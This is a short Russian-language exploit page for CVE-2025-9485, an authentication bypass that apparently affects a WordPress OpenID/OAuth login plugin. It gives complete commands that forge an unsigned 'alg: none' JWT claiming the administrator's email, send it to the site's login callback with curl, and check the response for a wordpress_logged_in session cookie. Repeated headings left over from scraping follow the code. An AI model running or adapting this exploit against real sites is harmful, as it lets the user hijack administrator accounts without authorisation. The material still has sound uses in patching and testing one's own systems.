Exploit: Обход аутентификации через неподписанный JWT (`alg: none`)

1) Создание неподписанного JWT с утверждением email администратора

TOKEN=$(node -e '
function b64u(s){
  return Buffer.from(s).toString("base64")
    .replace(/\+/g,"-")
    .replace(/\//g,"_")
    .replace(/=+$/,"")
}

const header = b64u(JSON.stringify({ alg: "none", typ: "JWT" }));

const now = Math.floor(Date.now()/1000);
const payload = b64u(JSON.stringify({
  iss: "https://evil.example",
  aud: "abc",
  sub: "admin-hijack",
  email: process.env.ADMIN_EMAIL,
  email_verified: "1",
  iat: now,
  exp: now + 3600
}));

console.log(header + "." + payload + ".");
')

echo "$TOKEN"

2) Запуск callback-аутентификации с поддельным `id_token`

curl -i -A "Mozilla/5.0" \
  "$SITE/?code=DUMMY&id_token=$TOKEN&state=$STATE" \
  | tee /tmp/poc_headers.txt

3) Проверка успешной аутентификации

grep -i '^set-cookie: wordpress_logged_in' /tmp/poc_headers.txt
grep -i '^location:' /tmp/poc_headers.txt

CVE-2025-9485

Популярное

CVE-2025-9485

Популярное

Exploit: Обход аутентификации через неподписанный JWT (alg: none)

1) Создание неподписанного JWT с утверждением email администратора

2) Запуск callback-аутентификации с поддельным id_token

3) Проверка успешной аутентификации

Exploit: Обход аутентификации через неподписанный JWT (`alg: none`)

2) Запуск callback-аутентификации с поддельным `id_token`